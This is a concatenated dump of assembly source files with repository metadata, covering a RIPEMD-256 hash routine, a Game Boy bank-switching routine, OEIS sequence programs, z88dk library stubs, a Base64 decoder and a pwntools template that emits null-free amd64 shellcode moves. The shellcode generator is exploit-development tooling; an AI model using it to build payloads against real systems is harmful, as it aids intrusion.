05C4DD124H RMD256HH edx, eax, ebx, ecx, dword ptr [ebp+ 9*4], 15, 05C4DD124H RMD256HH ecx, edx, eax, ebx, dword ptr [ebp+ 1*4], 13, 05C4DD124H RMD256HH ebx, ecx, edx, eax, dword ptr [ebp+ 2*4], 11, 05C4DD124H ;================================================================= mov edi,[esp+pushad_size+pushad_ebx] mov [esp+pushad_size+pushad_ebx],ebx mov ebx,edi ; xchg ebx,[esp+pushad_size+pushad_ebx] mov [esp+pushad_eax],eax;a2 mov [esp+pushad_ebx],ebx;b2 mov [esp+pushad_ecx],ecx;c2 mov [esp+pushad_edx],edx;d2 mov eax,[esp+pushad_size+pushad_eax];a1 mov ebx,[esp+pushad_size+pushad_ebx];b1 mov ecx,[esp+pushad_size+pushad_ecx];c1 mov edx,[esp+pushad_size+pushad_edx];d1 ;================================================================= RMD256HH eax, ebx, ecx, edx, dword ptr [ebp+ 3*4], 11, 06ED9EBA1H RMD256HH edx, eax, ebx, ecx, dword ptr [ebp+10*4], 13, 06ED9EBA1H RMD256HH ecx, edx, eax, ebx, dword ptr [ebp+14*4], 6, 06ED9EBA1H RMD256HH ebx, ecx, edx, eax, dword ptr [ebp+ 4*4], 7, 06ED9EBA1H RMD256HH eax, ebx, ecx, edx, dword ptr [ebp+ 9*4], 14, 06ED9EBA1H RMD256HH edx, eax, ebx, ecx, dword ptr [ebp+15*4], 9, 06ED9EBA1H RMD256HH ecx, edx, eax, ebx, dword ptr [ebp+ 8*4], 13, 06ED9EBA1H RMD256HH ebx, ecx, edx, eax, dword ptr [ebp+ 1*4], 15, 06ED9EBA1H RMD256HH eax, ebx, ecx, edx, dword ptr [ebp+ 2*4], 14, 06ED9EBA1H RMD256HH edx, eax, ebx, ecx, dword ptr [ebp+ 7*4], 8, 06ED9EBA1H RMD256HH ecx, edx, eax, ebx, dword ptr [ebp+ 0*4], 13, 06ED9EBA1H RMD256HH ebx, ecx, edx, eax, dword ptr [ebp+ 6*4], 6, 06ED9EBA1H RMD256HH eax, ebx, ecx, edx, dword ptr [ebp+13*4], 5, 06ED9EBA1H RMD256HH edx, eax, ebx, ecx, dword ptr [ebp+11*4], 12, 06ED9EBA1H RMD256HH ecx, edx, eax, ebx, dword ptr [ebp+ 5*4], 7, 06ED9EBA1H RMD256HH ebx, ecx, edx, eax, dword ptr [ebp+12*4], 5, 06ED9EBA1H ;================================================================= mov [esp+pushad_size+pushad_eax],eax;a1 mov [esp+pushad_size+pushad_ebx],ebx;b1 mov [esp+pushad_size+pushad_ecx],ecx;c1 mov [esp+pushad_size+pushad_edx],edx;d1 mov eax,[esp+pushad_eax];a2 mov ebx,[esp+pushad_ebx];b2 mov ecx,[esp+pushad_ecx];c2 mov edx,[esp+pushad_edx];d2 ;================================================================= RMD256GG eax, ebx, ecx, edx, dword ptr [ebp+15*4], 9, 06D703EF3H RMD256GG edx, eax, ebx, ecx, dword ptr [ebp+ 5*4], 7, 06D703EF3H RMD256GG ecx, edx, eax, ebx, dword ptr [ebp+ 1*4], 15, 06D703EF3H RMD256GG ebx, ecx, edx, eax, dword ptr [ebp+ 3*4], 11, 06D703EF3H RMD256GG eax, ebx, ecx, edx, dword ptr [ebp+ 7*4], 8, 06D703EF3H RMD256GG edx, eax, ebx, ecx, dword ptr [ebp+14*4], 6, 06D703EF3H RMD256GG ecx, edx, eax, ebx, dword ptr [ebp+ 6*4], 6, 06D703EF3H RMD256GG ebx, ecx, edx, eax, dword ptr [ebp+ 9*4], 14, 06D703EF3H RMD256GG eax, ebx, ecx, edx, dword ptr [ebp+11*4], 12, 06D703EF3H RMD256GG edx, eax, ebx, ecx, dword ptr [ebp+ 8*4], 13, 06D703EF3H RMD256GG ecx, edx, eax, ebx, dword ptr [ebp+12*4], 5, 06D703EF3H RMD256GG ebx, ecx, edx, eax, dword ptr [ebp+ 2*4], 14, 06D703EF3H RMD256GG eax, ebx, ecx, edx, dword ptr [ebp+10*4], 13, 06D703EF3H RMD256GG edx, eax, ebx, ecx, dword ptr [ebp+ 0*4], 13, 06D703EF3H RMD256GG ecx, edx, eax, ebx, dword ptr [ebp+ 4*4], 7, 06D703EF3H RMD256GG ebx, ecx, edx, eax, dword ptr [ebp+13*4], 5, 06D703EF3H ;================================================================= mov edi,[esp+pushad_size+pushad_ecx] mov [esp+pushad_size+pushad_ecx],ecx mov ecx,edi ; xchg ecx,[esp+pushad_size+pushad_ecx] mov [esp+pushad_eax],eax;a2 mov [esp+pushad_ebx],ebx;b2 mov [esp+pushad_ecx],ecx;c2 mov [esp+pushad_edx],edx;d2 mov eax,[esp+pushad_size+pushad_eax];a1 mov ebx,[esp+pushad_size+pushad_ebx];b1 mov ecx,[esp+pushad_size+pushad_ecx];c1 mov edx,[esp+pushad_size+pushad_edx];d1 ;================================================================= RMD256II eax, ebx, ecx, edx, dword ptr [ebp+ 1*4], 11, 08F1BBCDCH RMD256II edx, eax, ebx, ecx, dword ptr [ebp+ 9*4], 12, 08F1BBCDCH RMD256II ecx, edx, eax, ebx, dword ptr [ebp+11*4], 14, 08F1BBCDCH RMD256II ebx, ecx, edx, eax, dword ptr [ebp+10*4], 15, 08F1BBCDCH RMD256II eax, ebx, ecx, edx, dword ptr [ebp+ 0*4], 14, 08F1BBCDCH RMD256II edx, eax, ebx, ecx, dword ptr [ebp+ 8*4], 15, 08F1BBCDCH RMD256II ecx, edx, eax, ebx, dword ptr [ebp+12*4], 9, 08F1BBCDCH RMD256II ebx, ecx, edx, eax, dword ptr [ebp+ 4*4], 8, 08F1BBCDCH RMD256II eax, ebx, ecx, edx, dword ptr [ebp+13*4], 9, 08F1BBCDCH RMD256II edx, eax, ebx, ecx, dword ptr [ebp+ 3*4], 14, 08F1BBCDCH RMD256II ecx, edx, eax, ebx, dword ptr [ebp+ 7*4], 5, 08F1BBCDCH RMD256II ebx, ecx, edx, eax, dword ptr [ebp+15*4], 6, 08F1BBCDCH RMD256II eax, ebx, ecx, edx, dword ptr [ebp+14*4], 8, 08F1BBCDCH RMD256II edx, eax, ebx, ecx, dword ptr [ebp+ 5*4], 6, 08F1BBCDCH RMD256II ecx, edx, eax, ebx, dword ptr [ebp+ 6*4], 5, 08F1BBCDCH RMD256II ebx, ecx, edx, eax, dword ptr [ebp+ 2*4], 12, 08F1BBCDCH ;================================================================= mov [esp+pushad_size+pushad_eax],eax;a1 mov [esp+pushad_size+pushad_ebx],ebx;b1 mov [esp+pushad_size+pushad_ecx],ecx;c1 mov [esp+pushad_size+pushad_edx],edx;d1 mov eax,[esp+pushad_eax];a2 mov ebx,[esp+pushad_ebx];b2 mov ecx,[esp+pushad_ecx];c2 mov edx,[esp+pushad_edx];d2 ;===================================================== RMD256FF eax, ebx, ecx, edx, dword ptr [ebp+ 8*4], 15 RMD256FF edx, eax, ebx, ecx, dword ptr [ebp+ 6*4], 5 RMD256FF ecx, edx, eax, ebx, dword ptr [ebp+ 4*4], 8 RMD256FF ebx, ecx, edx, eax, dword ptr [ebp+ 1*4], 11 RMD256FF eax, ebx, ecx, edx, dword ptr [ebp+ 3*4], 14 RMD256FF edx, eax, ebx, ecx, dword ptr [ebp+11*4], 14 RMD256FF ecx, edx, eax, ebx, dword ptr [ebp+15*4], 6 RMD256FF ebx, ecx, edx, eax, dword ptr [ebp+ 0*4], 14 RMD256FF eax, ebx, ecx, edx, dword ptr [ebp+ 5*4], 6 RMD256FF edx, eax, ebx, ecx, dword ptr [ebp+12*4], 9 RMD256FF ecx, edx, eax, ebx, dword ptr [ebp+ 2*4], 12 RMD256FF ebx, ecx, edx, eax, dword ptr [ebp+13*4], 9 RMD256FF eax, ebx, ecx, edx, dword ptr [ebp+ 9*4], 12 RMD256FF edx, eax, ebx, ecx, dword ptr [ebp+ 7*4], 5 RMD256FF ecx, edx, eax, ebx, dword ptr [ebp+10*4], 15 RMD256FF ebx, ecx, edx, eax, dword ptr [ebp+14*4], 8 ;===================================================== mov edi,[esp+pushad_size+pushad_edx] mov [esp+pushad_size+pushad_edx],edx mov edx,edi ; xchg edx,[esp+pushad_size+pushad_edx];b1<-->b2 add [esi+4*4],eax;a2 add [esi+5*4],ebx;... add [esi+6*4],ecx add [esi+7*4],edx popad popad add [esi+0*4],eax;a1 add [esi+1*4],ebx;... add [esi+2*4],ecx add [esi+3*4],edx popad ret RMD256Transform endp RMD256BURN macro xor eax,eax mov RMD256Index,eax mov edi,Offset RMD256HashBuf mov ecx,(sizeof RMD256HashBuf)/4 rep stosd endm align dword RMD256Init proc uses edi xor eax, eax mov RMD256Len,eax RMD256BURN mov eax,offset RMD256Digest mov dword ptr [eax+0*4],067452301h mov dword ptr [eax+1*4],0efcdab89h mov dword ptr [eax+2*4],098badcfeh mov dword ptr [eax+3*4],010325476h mov dword ptr [eax+4*4],076543210h mov dword ptr [eax+5*4],0FEDCBA98h mov dword ptr [eax+6*4],089ABCDEFh mov dword ptr [eax+7*4],001234567h ret RMD256Init endp align dword RMD256Update proc uses esi edi ebx lpBuffer:dword, dwBufLen:dword mov ebx,dwBufLen add RMD256Len,ebx .while ebx mov eax,RMD256Index mov edx,64 sub edx,eax .if edx <= ebx lea edi, [RMD256HashBuf+eax] mov esi, lpBuffer mov ecx, edx rep movsb sub ebx, edx add lpBuffer, edx call RMD256Transform RMD256BURN .else lea edi, [RMD256HashBuf+eax] mov esi, lpBuffer mov ecx, ebx rep movsb mov eax, RMD256Index add eax, ebx mov RMD256Index,eax .break .endif .endw ret RMD256Update endp align dword RMD256Final proc uses esi edi mov ecx, RMD256Index mov byte ptr [RMD256HashBuf+ecx],80h .if ecx >= 56 call RMD256Transform RMD256BURN .endif mov eax,RMD256Len xor edx,edx shld edx,eax,3 shl eax,3 mov dword ptr [RMD256HashBuf+56],eax mov dword ptr [RMD256HashBuf+60],edx call RMD256Transform mov eax,offset RMD256Digest ret RMD256Final endp
38.956522
70
0.632603
14ac07b56066f410208829d7f50b6b417ddb8cc1
876
asm
Assembly
home/predef.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
1
2022-02-15T00:19:44.000Z
2022-02-15T00:19:44.000Z
home/predef.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
home/predef.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
Predef:: ; Call predefined function a. ; To preserve other registers, have the ; destination call GetPredefRegisters. ; Save the predef id for GetPredefPointer. ld [wPredefID], a ; A hack for LoadDestinationWarpPosition. ; See LoadTilesetHeader (predef $19). ldh a, [hLoadedROMBank] ld [wPredefParentBank], a push af ld a, BANK(GetPredefPointer) ldh [hLoadedROMBank], a ld [MBC1RomBank], a call GetPredefPointer ld a, [wPredefBank] ldh [hLoadedROMBank], a ld [MBC1RomBank], a ld de, .done push de jp hl .done pop af ldh [hLoadedROMBank], a ld [MBC1RomBank], a ret GetPredefRegisters:: ; Restore the contents of register pairs ; when GetPredefPointer was called. ld a, [wPredefHL] ld h, a ld a, [wPredefHL + 1] ld l, a ld a, [wPredefDE] ld d, a ld a, [wPredefDE + 1] ld e, a ld a, [wPredefBC] ld b, a ld a, [wPredefBC + 1] ld c, a ret
17.176471
43
0.697489
fceb5d2d70897e7e00ed305486bd2870ce96a6c8
472
asm
Assembly
oeis/245/A245431.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/245/A245431.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/245/A245431.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A245431: Number of nonnegative integers with property that their base 10/7 expansion has n digits. ; Submitted by Jamie Morken(s4) ; 10,10,10,20,30,40,60,80,120,170,240,340,490,700,1000,1430,2040,2910,4160,5940,8490,12130,17330,24750,35360,50520,72170,103100,147280,210400,300570,429390,613410,876300,1251860,1788370,2554820,3649740,5213910,7448450 lpb $0 sub $0,1 mul $1,3 add $2,2 add $1,$2 mov $2,$1 div $1,7 add $2,1 lpe mov $0,$1 mul $0,10 add $0,10
27.764706
217
0.720339
71ef37083804cc46ecdac0d44c8a7818aa13ae07
1,629
asm
Assembly
programs/oeis/117/A117868.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/117/A117868.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/117/A117868.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A117868: Number of palindromes (in base 9) below 9^n. ; 8,16,88,160,808,1456,7288,13120,65608,118096,590488,1062880,5314408,9565936,47829688,86093440,430467208,774840976,3874204888,6973568800,34867844008,62762119216,313810596088,564859072960,2824295364808,5083731656656,25418658283288,45753584909920,228767924549608,411782264189296,2058911320946488,3706040377703680,18530201888518408,33354363399333136,166771816996665688,300189270593998240,1500946352969991208,2701703435345984176,13508517176729920888,24315330918113857600,121576654590569288008,218837978263024718416,1094189891315123592088,1969541804367222465760,9847709021836112328808,17725876239305002191856,88629381196525010959288,159532886153745019726720,797664430768725098633608,1435795975383705177540496,7178979876918525887702488,12922163778453346597864480,64610818892266732989322408,116299474006080119380780336,581497370030400596903901688,1046695266054721074427023040,5233476330273605372135115208,9420257394492489669843207376,47101286972462448349216036888,84782316550432407028588866400,423911582752162035142944332008,763040848953891663257299797616,3815204244769458316286498988088,6867367640585024969315698178560,34336838202925124846578490892808,61806308765265224723841283607056,309031543826326123619206418035288,556256778887387022514571552463520,2781283894436935112572857762317608,5006311009986483202631143972171696,25031555049932416013155719860858488,45056799089878348823680295749545280,225283995449391744118401478747726408,405511191808905139413122661745907536 mov $1,1 lpb $0 mov $2,$1 trn $2,$0 sub $0,1 add $1,1 mul $2,8 add $1,$2 lpe mul $1,8 mov $0,$1
108.6
1,463
0.908533
35fc2845ba8af063def96ee31a035a8176f64433
277
asm
Assembly
mastersystem/zxb-sms-2012-02-23/zxb-sms/wip/zxb/library-asm/bor16.asm
gb-archive/really-old-stuff
ffb39a518cad47e23353b3420b88e2f3521fd3d7
[ "Apache-2.0" ]
10
2016-10-27T20:46:02.000Z
2021-11-01T15:49:13.000Z
mastersystem/zxb-sms-2012-02-23/zxb-sms/wip/zxb/library-asm/bor16.asm
gb-archive/really-old-stuff
ffb39a518cad47e23353b3420b88e2f3521fd3d7
[ "Apache-2.0" ]
null
null
null
mastersystem/zxb-sms-2012-02-23/zxb-sms/wip/zxb/library-asm/bor16.asm
gb-archive/really-old-stuff
ffb39a518cad47e23353b3420b88e2f3521fd3d7
[ "Apache-2.0" ]
2
2015-03-11T14:28:08.000Z
2017-11-02T10:57:57.000Z
; vim:ts=4:et: ; FASTCALL bitwise or 16 version. ; result in HL ; __FASTCALL__ version (operands: A, H) ; Performs 16bit or 16bit and returns the boolean ; Input: HL, DE ; Output: HL <- HL OR DE __BOR16: ld a, h or d ld h, a ld a, l or e ld l, a ret
13.85
49
0.606498
21c9cb489a0dcf0f696a7fbaf95fa6b6c289b1bb
183
asm
Assembly
libsrc/_DEVELOPMENT/adt/w_array/c/sccz80/w_array_destroy.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/adt/w_array/c/sccz80/w_array_destroy.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/adt/w_array/c/sccz80/w_array_destroy.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; void w_array_destroy(w_array_t *a) SECTION code_adt_w_array PUBLIC w_array_destroy defc w_array_destroy = asm_w_array_destroy INCLUDE "adt/w_array/z80/asm_w_array_destroy.asm"
16.636364
49
0.836066
05a5eb937ff6d054aefd8c29cac06c422225a312
248
asm
Assembly
PRG/objects/3-8.asm
narfman0/smb3_pp1
38a58adafff67a403591e38875e9fae943a5fe76
[ "Unlicense" ]
null
null
null
PRG/objects/3-8.asm
narfman0/smb3_pp1
38a58adafff67a403591e38875e9fae943a5fe76
[ "Unlicense" ]
null
null
null
PRG/objects/3-8.asm
narfman0/smb3_pp1
38a58adafff67a403591e38875e9fae943a5fe76
[ "Unlicense" ]
null
null
null
.byte $01 ; Unknown purpose .byte OBJ_AUTOSCROLL, $00, $51 .byte OBJ_BONUSCONTROLLER, $01, $2C .byte OBJ_BIGBERTHA, $06, $19 .byte OBJ_GREENTROOPA, $12, $15 .byte OBJ_GREENTROOPA, $38, $16 .byte OBJ_WOODENPLATFORMFLOAT, $54, $18 .byte $FF
24.8
40
0.697581
97dc5fa71fb6391bc0d5da7ae75e9efcdad60389
225
asm
Assembly
libsrc/gfx/portable/undrawb.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/gfx/portable/undrawb.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/gfx/portable/undrawb.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_graphics PUBLIC undrawb PUBLIC _undrawb EXTERN commonbox EXTERN unplot ;void undrawb(int x, int y, int w, int h) __smallc ;Note ints are actually uint8_t undrawb: _undrawb: ld hl,unplot jp commonbox
13.235294
51
0.76
ccf1469e0e9dae5292fbf6e0621566aedd988f40
1,656
asm
Assembly
textformats/Base64Decode.asm
FloydZ/Crypto-Hash
2635450fb16d4d8dc4578d6539cc25ce599f7e21
[ "MIT" ]
11
2015-03-17T10:31:23.000Z
2022-01-21T17:42:43.000Z
textformats/Base64Decode.asm
0xFF1E071F/Crypto-Hash
2635450fb16d4d8dc4578d6539cc25ce599f7e21
[ "MIT" ]
null
null
null
textformats/Base64Decode.asm
0xFF1E071F/Crypto-Hash
2635450fb16d4d8dc4578d6539cc25ce599f7e21
[ "MIT" ]
6
2018-01-29T16:06:36.000Z
2021-05-08T19:22:24.000Z
.data align 4 b64table label byte db 0,42 dup (-1) db 62; + ; [02Bh] db 3 dup(-1) db 63; / ; [02Fh] db 52,53,54,55,56,57,58,59,60,61; 0..9 ;30-39 db 3 dup(-1) db 0 ; = ; [03Dh] db 3 dup(-1) db 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25; A..Z db 6 dup(-1) db 26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51; a..z db 133 dup (-1) .code OPTION PROLOGUE:NONE OPTION EPILOGUE:NONE Base64Decode proc pInputStr:DWORD,pOutputData:DWORD push ebp push esi push edi push ebx mov edi,[esp+1*4][4*4];pInputStr xor eax,eax mov esi,edi .repeat; strlen mov al,[edi] add edi,4 test al,al .until zero? lea ebp,[edi-4] mov eax,'=' sub ebp,esi; 4parts jz @F cmp al,[esi+ebp-1]; padd? sete dl .if zero?;equal? mov [esi+ebp-1],ah .endif cmp al,[esi+ebp-2] sete al .if zero?;equal? mov [esi+ebp-2],ah .endif add al,dl mov edi,[esp+2*4][4*4];pOutputData shr ebp,2 lea edx,[ebp*2+ebp] sub edx,eax push edx; result = length .repeat ; CCDDDDDD BBBBCCCC AAAAAABB mov ecx,[esi] movzx edx,cl movzx ebx,ch mov al,[edx+b64table]; ..AAAAAA mov ah,[ebx+b64table]; ..BBBBBB shr ecx,16 add esi,4 movzx edx,cl movzx ecx,ch mov bl,[edx+b64table]; ..CCCCCC mov bh,[ecx+b64table]; ..DDDDDD mov dl,ah mov dh,bl shl al,2;AAAAAA.. shr bl,2;....CCCC shl dh,6;CC...... shl ah,4;BBBB.... shr dl,4;......BB or bh,dh or al,dl or ah,bl mov [edi+0],al mov [edi+2],bh mov [edi+1],ah dec ebp lea edi,[edi+3] .until zero? pop eax @@: pop ebx pop edi pop esi pop ebp ret 2*4 Base64Decode endp OPTION PROLOGUE:PROLOGUEDEF OPTION EPILOGUE:EPILOGUEDEF
17.431579
86
0.63285
c4c4842bb08994df7c310e121dd8436dce4e340f
8,114
asm
Assembly
pwnlib/shellcraft/templates/amd64/mov.asm
magnologan/pwntools
32b05024d33019e16801cc50ec0108ee783eff27
[ "MIT" ]
null
null
null
pwnlib/shellcraft/templates/amd64/mov.asm
magnologan/pwntools
32b05024d33019e16801cc50ec0108ee783eff27
[ "MIT" ]
null
null
null
pwnlib/shellcraft/templates/amd64/mov.asm
magnologan/pwntools
32b05024d33019e16801cc50ec0108ee783eff27
[ "MIT" ]
null
null
null
<% from pwnlib.util import lists, packing, fiddling, misc from pwnlib import constants from pwnlib.context import context as ctx # Ugly hack, mako will not let it be called context from pwnlib.log import getLogger log = getLogger('pwnlib.shellcraft.amd64.mov') %> <%page args="dest, src, stack_allowed = True"/> <%docstring> Move src into dest without newlines and null bytes. If the src is a register smaller than the dest, then it will be zero-extended to fit inside the larger register. If the src is a register larger than the dest, then only some of the bits will be used. If src is a string that is not a register, then it will locally set `context.arch` to `'amd64'` and use :func:`pwnlib.constants.eval` to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of `context.os`. Example: >>> print shellcraft.amd64.mov('eax','ebx').rstrip() mov eax, ebx >>> print shellcraft.amd64.mov('eax', 0).rstrip() xor eax, eax >>> print shellcraft.amd64.mov('ax', 0).rstrip() xor ax, ax >>> print shellcraft.amd64.mov('rax', 0).rstrip() xor eax, eax >>> print shellcraft.amd64.mov('al', 'ax').rstrip() /* moving ax into al, but this is a no-op */ >>> print shellcraft.amd64.mov('bl', 'ax').rstrip() mov bl, al >>> print shellcraft.amd64.mov('ax', 'bl').rstrip() movzx ax, bl >>> print shellcraft.amd64.mov('eax', 1).rstrip() push 0x1 pop rax >>> print shellcraft.amd64.mov('rax', 0xc0).rstrip() xor eax, eax mov al, 0xc0 >>> print shellcraft.amd64.mov('rax', 0xc000).rstrip() xor eax, eax mov ah, 0xc0 >>> print shellcraft.amd64.mov('rax', 0xc0c0).rstrip() xor eax, eax mov ax, 0xc0c0 >>> print shellcraft.amd64.mov('rax', 0xdead00ff).rstrip() mov eax, 0x1010101 xor eax, 0xdfac01fe >>> print shellcraft.amd64.mov('ah', 'al').rstrip() mov ah, al >>> print shellcraft.amd64.mov('ah', 'r8').rstrip() Traceback (most recent call last): ... PwnlibException: The amd64 instruction set does not support moving from r8 to ah >>> print shellcraft.amd64.mov('rax', 0x11dead00ff).rstrip() mov rax, 0x101010101010101 push rax mov rax, 0x1010110dfac01fe xor [rsp], rax pop rax >>> with context.local(os = 'linux'): ... print shellcraft.amd64.mov('eax', 'SYS_read').rstrip() xor eax, eax >>> with context.local(os = 'freebsd'): ... print shellcraft.amd64.mov('eax', 'SYS_read').rstrip() push 0x3 pop rax >>> with context.local(os = 'linux'): ... print shellcraft.amd64.mov('eax', 'PROT_READ | PROT_WRITE | PROT_EXEC').rstrip() push 0x7 pop rax Args: dest (str): The destination register. src (str): Either the input register, or an immediate value. stack_allowed (bool): Can the stack be used? </%docstring> <% regs = [['rax', 'eax', 'ax', 'ah', 'al'], ['rbx', 'ebx', 'bx', 'bh', 'bl'], ['rcx', 'ecx', 'cx', 'ch', 'cl'], ['rdx', 'edx', 'dx', 'dh', 'dl'], ['rdi', 'edi', 'di', 'dil'], ['rsi', 'esi', 'si', 'sil'], ['rbp', 'ebp', 'bp', 'bpl'], ['rsp', 'esp', 'sp', 'spl'], ['r8', 'r8d', 'r8w', 'r8b'], ['r9', 'r9d', 'r9w', 'r9b'], ['r10', 'r10d', 'r10w', 'r10b'], ['r11', 'r11d', 'r11w', 'r11b'], ['r12', 'r12d', 'r12w', 'r12b'], ['r13', 'r13d', 'r13w', 'r13b'], ['r14', 'r14d', 'r14w', 'r14b'], ['r15', 'r15d', 'r15w', 'r15b'] ] def okay(s): return '\0' not in s and '\n' not in s def pretty(n): if n < 0: return str(n) else: return hex(n) all_regs, sizes, bigger, smaller = misc.register_sizes(regs, [64, 32, 16, 8, 8]) if isinstance(src, (str, unicode)): src = src.strip() if src.lower() in all_regs: src = src.lower() else: with ctx.local(arch = 'amd64'): try: src = constants.eval(src) except: log.error("Could not figure out the value of %r" % src) dest_orig = dest %> % if dest not in all_regs: <% log.error('%s is not a register' % str(dest_orig)) %>\ % elif isinstance(src, (int, long)): <% if not (-2 ** (sizes[dest]-1) <= src < 2**sizes[dest]): log.error('Number %s does not fit into %s' % (pretty(src), dest_orig)) # Calculate the unsigned and signed versions srcu = src & (2 ** sizes[dest] - 1) srcs = srcu - 2 * (srcu & (2 ** (sizes[dest] - 1))) # micro-optimization: if you ever touch e.g. eax, then all the upper bits # of rax will be set to 0. We exploit this fact here if 0 <= src < 2 ** 32 and sizes[dest] == 64: dest = smaller[dest][0] # Calculate the packed version srcp = packing.pack(srcu, sizes[dest], 'little', False) %>\ % if src == 0: xor ${dest}, ${dest} % elif src == 10 and stack_allowed and sizes[dest] == 32: # sizes[dest] == 64 not possible here push 9 pop ${bigger[dest][0]} inc ${dest} % elif stack_allowed and sizes[dest] in [32, 64] and -2**7 <= srcs < 2**7 and okay(srcp[0]): push ${pretty(srcs)} pop ${dest if sizes[dest] == 64 else bigger[dest][0]} % elif okay(srcp): mov ${dest}, ${pretty(src)} % elif stack_allowed and sizes[dest] in [32, 64] and -2**31 <= srcs < 2**31 and okay(srcp[:4]): push ${pretty(srcs)} pop ${dest if sizes[dest] == 64 else bigger[dest][0]} % elif 0 <= srcu < 2**8 and okay(srcp[0]) and sizes[smaller[dest][-1]] == 8: xor ${dest}, ${dest} mov ${smaller[dest][-1]}, ${pretty(srcu)} % elif srcu == srcu & 0xff00 and okay(srcp[1]) and sizes[smaller[dest][-2]] == 8: xor ${dest}, ${dest} mov ${smaller[dest][-2]}, ${pretty(srcu >> 8)} % elif 0 <= srcu < 2**16 and okay(srcp[:2]) and sizes[smaller[dest][0]] == 16: xor ${dest}, ${dest} mov ${smaller[dest][0]}, ${pretty(src)} % else: <% a,b = fiddling.xor_pair(srcp, avoid = '\x00\n') a = pretty(packing.unpack(a, sizes[dest], 'little', False)) b = pretty(packing.unpack(b, sizes[dest], 'little', False)) %>\ % if sizes[dest] != 64: mov ${dest}, ${a} xor ${dest}, ${b} % elif stack_allowed: mov ${dest}, ${a} push ${dest} mov ${dest}, ${b} xor [rsp], ${dest} pop ${dest} % else: <% log.error("Cannot put %s into '%s' without using stack." % (pretty(src), dest_orig)) %>\ % endif % endif % elif src in all_regs: <% # micro-optimization: if you ever touch e.g. eax, then all the upper bits # of rax will be set to 0. We exploit this fact here if sizes[dest] == 64 and sizes[src] != 64: dest = smaller[dest][0] def rex_mode(reg): # This returns a number with two bits # The first bit is set, if the register can be used with a REX-mode # The seond bit is set, if the register can be used without a REX-prefix res = 0 if reg[-1] != 'h': res |= 1 if reg[0] != 'r' and reg not in ['dil', 'sil', 'bpl', 'spl']: res |= 2 return res if rex_mode(src) & rex_mode(dest) == 0: log.error('The amd64 instruction set does not support moving from %s to %s' % (src, dest)) %>\ % if src == dest or src in bigger[dest] or src in smaller[dest]: /* moving ${src} into ${dest_orig}, but this is a no-op */ % elif sizes[dest] == sizes[src]: mov ${dest}, ${src} % elif sizes[dest] > sizes[src]: movzx ${dest}, ${src} % else: % for r in reversed(smaller[src]): % if sizes[r] == sizes[dest]: mov ${dest}, ${r} <% return %>\ % endif % endfor % endif % else: <% log.error('%s is neither a register nor an immediate' % src) %>\ % endif
35.902655
101
0.545847
9d2bc0d6cca421b5fdf66ca2a3f06c3a9ac4fd1a
574
asm
Assembly
Homework Submission/Homework 1/homework 1 Q2.asm
FariaIslamHridy/CSE331L-Section-10-Fall20-NSU
5b0ed4addf8d39995adc1ce8fab10f21afe63155
[ "MIT" ]
null
null
null
Homework Submission/Homework 1/homework 1 Q2.asm
FariaIslamHridy/CSE331L-Section-10-Fall20-NSU
5b0ed4addf8d39995adc1ce8fab10f21afe63155
[ "MIT" ]
null
null
null
Homework Submission/Homework 1/homework 1 Q2.asm
FariaIslamHridy/CSE331L-Section-10-Fall20-NSU
5b0ed4addf8d39995adc1ce8fab10f21afe63155
[ "MIT" ]
null
null
null
org 100h MOV AX, 2 ;Allocate first even int value MOV CX, AX ;Add and store sum in CX register MOV AX, 4 ;Allocate second even int value ADD CX, AX ;Add and store sum in CX register MOV AX, 6 ;Allocate third even int value ADD CX, AX ;Add and store sum in CX register MOV AX, 8 ;Allocate 4th even int value ADD CX, AX ;Add and store sum in CX register MOV AX, 10 ;Allocate 5th even int value ADD CX, AX ;Add and store sum in CX register ret
26.090909
47
0.571429
7650c738b165b471add7b37544b0641f7227d956
358
asm
Assembly
programs/oeis/202/A202199.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/202/A202199.asm
jmorken/loda
